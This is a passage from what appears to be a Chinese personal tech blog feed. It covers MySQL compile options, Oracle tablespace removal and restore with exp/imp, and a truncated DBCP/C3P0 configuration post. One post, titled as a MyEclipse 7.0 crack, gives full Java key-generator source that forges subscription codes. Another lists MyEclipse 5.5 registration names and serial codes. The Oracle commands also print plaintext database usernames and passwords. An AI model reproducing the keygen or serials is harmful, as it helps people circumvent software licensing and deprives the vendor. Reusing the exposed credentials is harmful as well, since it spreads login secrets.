<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #dfd8e8; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent4; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">用</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><FONT face=Calibri>--defaults-extra-file=path</FONT></SPAN><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">指定的文件</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 3; mso-yfti-lastrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 4"><B><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><FONT face=Calibri>~/.my.cnf<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">用户相关选项</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR></TBODY></TABLE>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>4,</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">源码包安装的性能调整</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">查看所有编译的配置选项</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure --help<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>4.1</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">去掉不需要的模块</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">只安装客户端</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –without-server<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">指定安装的数据库和日志目录</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –prefix=/usr/local/mysql5<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –prefix=/usr/local/mysql5 localstatedir=/usr/local/mysql5/data<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">修改</SPAN><SPAN lang=EN-US><FONT face=Calibri>socket</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">的默认位置</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –with-unix-socket-path=/usr/local/mysql5/tmp/mysql.sock<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>4.2</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">只选择要使用的字符集</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure –with-charset=CHARSET<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>4.3</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">使用静态编译提高性能</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>./configure --with-client-ldflags=-all-static--with-mysqld-ldflags=-all-static<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>--with-client-ldflags=-all-static </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">以纯静态方式编译客户端</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>--with-mysqld-ldflags=-all-static </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">以纯静态方式编译服务端</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>]]></description>
</item><item>
<title><![CDATA[MyEclipse 7.0 + eclipse3.4 破解版到2012年]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=47825</link>
<author>zhanglincon</author>
<pubDate>2009/12/21 23:20:29</pubDate>
<description><![CDATA[http://downloads.myeclipseide.com/downloads/products/eworkbench/7.0M1/MyEclipse_7.0M1_E3.4.0_Installer.exe<BR>1、建立java Project，任意取个名字就行。<BR>2、建立一个名字为MyEclipseGen的类文件，内容见附件。<BR>3、运行该代码，在控制台中会出现：<BR>please input register name:<BR>×××××（你的name）<BR>即生成序列号：<BR><BR>4、进入myeclipse,输入Subscriber和Subscription code即可。<BR>附件：<BR>import java.io.BufferedReader;<BR>import java.io.IOException;<BR>import java.io.InputStreamReader;<BR>public class MyEclipseGen {<BR>private static final String LL = "Decompiling this copyrighted software is a violation of both your license agreement and the Digital Millenium Copyright Act of 1998 (http://www.loc.gov/copyright/legislation/dmca.pdf). Under section 1204 of the DMCA, penalties range up to a $500,000 fine or up to five years imprisonment for a first offense. Think about it; pay for a license, avoid prosecution, and feel better about yourself.";<BR>public String getSerial(String userId, String licenseNum) {<BR>java.util.Calendar cal = java.util.Calendar.getInstance();<BR>cal.add(1, 3);<BR>cal.add(6, -1);<BR>java.text.NumberFormat nf = new java.text.DecimalFormat("000");<BR>licenseNum = nf.format(Integer.valueOf(licenseNum));<BR>String verTime = new StringBuilder("-").append(<BR>new java.text.SimpleDateFormat("yyMMdd").format(cal.getTime()))<BR>.append("0").toString();<BR>String type = "YE3MP-";<BR>String need = new StringBuilder(userId.substring(0, 1)).append(type)<BR>.append("300").append(licenseNum).append(verTime).toString();<BR>String dx = new StringBuilder(need).append(LL).append(userId)<BR>.toString();<BR>int suf = this.decode(dx);<BR>String code = new StringBuilder(need).append(String.valueOf(suf))<BR>.toString();<BR>return this.change(code);<BR>}<BR>private int decode(String s) {<BR>int i;<BR>char[] ac;<BR>int j;<BR>int k;<BR>i = 0;<BR>ac = s.toCharArray();<BR>j = 0;<BR>k = ac.length;<BR>while (j &lt; k) {<BR>i = (31 * i) + ac[j];<BR>j++;<BR>}<BR>return Math.abs(i);<BR>}<BR>private String change(String s) {<BR>byte[] abyte0;<BR>char[] ac;<BR>int i;<BR>int k;<BR>int j;<BR>abyte0 = s.getBytes();<BR>ac = new char[s.length()];<BR>i = 0;<BR>k = abyte0.length;<BR>while (i &lt; k) {<BR>j = abyte0[i];<BR>if ((j &gt;= 48) &amp;&amp; (j &lt;= 57)) {<BR>j = (((j - 48) + 5) % 10) + 48;<BR>} else if ((j &gt;= 65) &amp;&amp; (j &lt;= 90)) {<BR>j = (((j - 65) + 13) % 26) + 65;<BR>} else if ((j &gt;= 97) &amp;&amp; (j &lt;= 122)) {<BR>j = (((j - 97) + 13) % 26) + 97;<BR>}<BR>ac[i] = (char) j;<BR>i++;<BR>}<BR>return String.valueOf(ac);<BR>}<BR>public MyEclipseGen() {<BR>super();<BR>}<BR>public static void main(String[] args) {<BR>try {<BR>System.out.println("please input register name:");<BR>BufferedReader reader = new BufferedReader(new InputStreamReader(<BR>System.in));<BR>String userId = null;<BR>userId = reader.readLine();<BR>MyEclipseGen myeclipsegen = new MyEclipseGen();<BR>String res = myeclipsegen.getSerial(userId, "5");<BR>System.out.println("Serial:" + res);<BR>reader.readLine();<BR>} catch (IOException ex) {<BR>}<BR>}<BR>}<BR><BR>我运行后的结果：<BR>please input register name:<BR>zhanglipeng<BR>Serial:mLR8ZC-855550-67677556293244359<FONT color=#000000></FONT><BR><BR>]]></description>
</item><item>
<title><![CDATA[myeclipse 5.5最新注册码-到2011年]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=46744</link>
<author>zhanglincon</author>
<pubDate>2009/8/2 11:37:53</pubDate>
<description><![CDATA[<A>　MyEclipse 5.5 GA 注册码！ <BR><BR>1. <BR>Subscriber: gujianguo <BR>SubNULLion Code: tLR8ZC-655444-6650645211401505 <BR>以上注册码到2011年5月19日过期 <BR><BR>2. <BR>Subscriber: gumutianqi <BR>SubNULLion Code: tLR8ZC-655444-6650755249418010 <BR>以上注册码到2011年5月20日过期 <BR><BR>3. <BR>Subscriber: jianguo <BR>SubNULLion Code: wLR8ZC-655444-66507556401228396 <BR>以上注册码到2011年5月20日过期 <BR><BR>另外： <BR>MyEclipse版本：MyEclipse_5.5.1GA_E3.2.2_FullStackInstaller.exe <BR>Subscriber: myeclipse5.5 <BR>Subscription Code: zLR8ZC-850444-5453675708725833</A>]]></description>
</item><item>
<title><![CDATA[删除表空间]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=45008</link>
<author>zhanglincon</author>
<pubDate>2009/4/23 9:49:22</pubDate>
<description><![CDATA[
<P>公司Test数据库是<A onclick="javascript:tagshow(event, '%B1%A8%B1%ED');" href="javascript:;" target=_self><U><STRONG>报表</STRONG></U></A>统计<A onclick="javascript:tagshow(event, '%CA%FD%BE%DD%BF%E2');" href="javascript:;" target=_self><U><STRONG>数据库</STRONG></U></A>，需要整理，其中有4个表空间需要删除，因为这4个表空间有新的表空间代替，用不到了，</P>
<P>需要删除的表空间如下：</P>
<P>用户SMS_BM的默认表空间：TS_SMS_BM_DATA</P>
<P>索引表空间：TS_SMS_BM_INDEX</P>
<P>用户SMS_BU的默认表空间：TS_SMS_BU_DATA</P>
<P>索引表空间：TS_SMS_BU_INDEX</P>
<P>新的表空间如下：</P>
<P>用户BM_SMS的默认表空间：TS_BM_SMS_DATA</P>
<P>索引表空间：TS_BM_SMS_INDEX</P>
<P>用户BU_SMS的默认表空间：TS_BU_SMS_DATA</P>
<P>索引表空间：TS_BU_SMS_INDEX</P>
<P>我做了一件比较傻的操作</P>
<P>我先删除SMS_BM用户下的所有对象</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>
<P>select&nbsp; 'drop '||'object_type||' '||object_name||';' from user_objects;</P></TD></TR></TBODY></TABLE></P>
<P>然后删除SMS_BM用户</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>drop user sms_bm cascade;</TD></TR></TBODY></TABLE></P>
<P>然后删除表空间</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>
<P>drop tablespace TS_SMS_BM_DATA including contents;</P>
<P>drop tablespace TS_SMS_BM_INDEX including contents;</P></TD></TR></TBODY></TABLE></P>
<P>然而，在删除表空间TS_SMS_BM_INDEX 的时候，报错：无法删除用于强制唯一/主关键字的索引</P>
<P>还好我在删除之前做了<A onclick="javascript:tagshow(event, '%B1%B8%B7%DD');" href="javascript:;" target=_self><U><STRONG>备份</STRONG></U></A></P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>exp<A href="mailto:sms_bm/smsbm@test">sms_bm/smsbm@test</A>buffer=9999999 file=I:\orabak\TS_SMS_BM_1,I:\orabak\TS_SMS_BM_2,I:\orabak\TS_SMS_BM_3,I:\orabak\TS_SMS_BM_4,I:\orabak\TS_SMS_BM_5,I:\orabak\TS_SMS_BM_6,I:\orabak\TS_SMS_BM_7,I:\orabak\TS_SMS_BM_8,I:\orabak\TS_SMS_BM_9,I:\orabak\TS_SMS_BM_10,I:\orabak\TS_SMS_BM_11,I:\orabak\TS_SMS_BM_12,I:\orabak\TS_SMS_BM_13 filesize=1024M<BR>exp<A href="mailto:sms_bu/smsbu@test">sms_bu/smsbu@test</A>buffer=9999999 file=I:\orabak\TS_SMS_BU_1,I:\orabak\TS_SMS_BU_2,I:\orabak\TS_SMS_BU_3,I:\orabak\TS_SMS_BU_4,I:\orabak\TS_SMS_BU_5,I:\orabak\TS_SMS_BU_6,I:\orabak\TS_SMS_BU_7,I:\orabak\TS_SMS_BU_8,I:\orabak\TS_SMS_BU_9,I:\orabak\TS_SMS_BU_10,I:\orabak\TS_SMS_BU_11,I:\orabak\TS_SMS_BU_12 filesize=1024M</TD></TR></TBODY></TABLE></P>
<P>现在就得把数据再导回去</P>
<P>1，新建表空间</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>Create Tablespace Ts_Sms_Bm_Data<BR>&nbsp;&nbsp;&nbsp; Logging<BR>&nbsp;&nbsp;&nbsp; DataFile 'E:\OraData\Ts_Sms_Bm_Data_01.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_02.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_03.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_04.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_05.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_06.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_07.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'E:\OraData\Ts_Sms_Bm_Data_08.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'F:\OraData\Ts_Sms_Bm_Data_09.Ora' Size 1024M,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'F:\OraData\Ts_Sms_Bm_Data_10.Ora' Size 1024M<BR>&nbsp;&nbsp;&nbsp; Extent Management Local</TD></TR></TBODY></TABLE></P>
<P>2，建用户并赋权限</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>
<P>SQL&gt;&nbsp;create user sms_bm identified by smsbm<BR>default tablespace Ts_Sms_Bm_Data<BR>temporary tablespace Ts_Test_Temp;</P>
<P>SQL&gt; grant connect,resource to sms_bm;</P>
<P>授权成功。</P>
<P>SQL&gt; grant unlimited tablespace to sms_bm;</P>
<P>授权成功。</P></TD></TR></TBODY></TABLE></P>
<P>3，导入数据</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>C:\&gt;imp&nbsp;<A href="mailto:system/testsystem@test">system/testsystem@test</A>buffer=99999<BR>99 fromuser=sms_bm touser=sms_bm file=i:\orabak\TS_SMS_BM_1.DMP,i:\orabak\TS_SMS<BR>_BM_2.DMP,i:\orabak\TS_SMS_BM_3.DMP,i:\orabak\TS_SMS_BM_4.DMP,i:\orabak\TS_SMS_B<BR>M_5.DMP,i:\orabak\TS_SMS_BM_6.DMP</TD></TR></TBODY></TABLE></P>
<P>4，查询一下，所有的对象都恢复了，并且看到 索引PK_BATCH_PHONE的所有者是BM_SMS,所以要把这个索引</P>
<P>移到TS_BM_SMS表空间</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>
<P>SQL&gt; select OWNER,INDEX_NAME,TABLE_OWNER from dba_indexes where TABLESPACE_NAME='TS_SMS_BM_INDEX';<BR>&nbsp;<BR>OWNER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INDEX_NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TABLE_OWNER<BR>------------------------------ ------------------------------ ------------------------------</P>
<P>BM_SMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PK_BATCH_PHONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BM_SMS<BR>SMS_BM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALL_BILL_PHONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SMS_BM<BR>SMS_BM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PK_AREA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SMS_BM<BR>SMS_BM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PK_BATCH_PHONE_HISTORY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SMS_BM<BR>SMS_BM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PK_BATCH_SMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SMS_BM<BR>SMS_BM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PK_BATCH_STATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SMS_BM</P></TD></TR></TBODY></TABLE></P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>alter index bm_sms.PK_BATCH_PHONE rebuild tablespace ts_bm_sms_index;</TD></TR></TBODY></TABLE></P>
<P>5，这时候就可以删除表空间了</P>
<P>
<TABLE style="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 80%; BORDER-BOTTOM: #999 1px solid" align=center>
<TBODY>
<TR>
<TD>
<P>&nbsp;<BR>SQL&gt; drop user sms_bm cascade;<BR>&nbsp;<BR>User dropped<BR>&nbsp;<BR>SQL&gt; drop tablespace TS_SMS_BM_DATA including contents;</P>
<P>&nbsp;<BR>Tablespace dropped<BR>&nbsp;<BR>SQL&gt; drop tablespace TS_SMS_BM_INDEX including contents;<BR>&nbsp;<BR>Tablespace dropped</P></TD></TR></TBODY></TABLE></P>]]></description>
</item><item>
<title><![CDATA[DBCP与C3PO配置的区别]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=44522</link>
<author>zhanglincon</author>
<pubDate>2009/4/8 14:13:02</pubDate>
<description><![CDATA[<A>　DBCP与C3PO配置的区别：<BR><BR>C3PO&nbsp;：<BR><BR>xml&nbsp;代码<BR><BR>&lt;bean&nbsp;id="dataSource"&nbsp;class="com.mchange.v2.c3p0.ComboPooledDataSource"&nbsp;destroy-method="close"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="driverClass"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;<SPAN class=hilite2><FONT style="BACKGROUND-COLOR: #55ff55">oracle</FONT></SPAN>.jdbc.driver.<SPAN class=hilite2><FONT style="BACKGROUND-COLOR: #55ff55">Oracle</FONT></SPAN>&lt;/Drivervalue&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp; &lt;/ property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="jdbcUrl"&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;jdbc:<SPAN class=hilite2><FONT style="BACKGROUND-COLOR: 